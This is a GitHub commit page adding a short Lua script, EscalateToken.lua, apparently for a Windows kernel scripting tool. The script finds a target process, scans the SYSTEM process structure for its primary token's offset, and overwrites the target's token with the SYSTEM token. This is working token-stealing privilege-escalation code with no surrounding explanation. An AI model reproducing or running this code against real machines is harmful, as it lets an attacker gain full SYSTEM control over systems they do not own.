We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
1 parent fdaa538 commit d74fa5fCopy full SHA for d74fa5f
scripts/EscalateToken.lua
@@ -0,0 +1,22 @@
1
+function FindProcess(pid)
2
+ local Tmp = tmp(0x8)
3
+ Tmp:set(0)
4
+ nt.PsLookupProcessByProcessId(pid, Tmp:ref())
5
+ return Tmp:get()
6
+end
7
+
8
+function EscalateToken(Target, Source)
9
+ Source = Source or read8(nt.PsInitialSystemProcess:address())
10
+ local Token = nt.PsReferencePrimaryToken(Source)
11
+ local TokenOffset = 0
12
13
+ for i=0,0x500,0x8 do
14
+ if (read8(Source+i)|0xF) == (Token|0xF) then
15
+ TokenOffset = i
16
+ break
17
+ end
18
19
+ nt.PsDereferencePrimaryToken( Token )
20
21
+ write8( Target + TokenOffset, Token | 0xF )
22
0 commit comments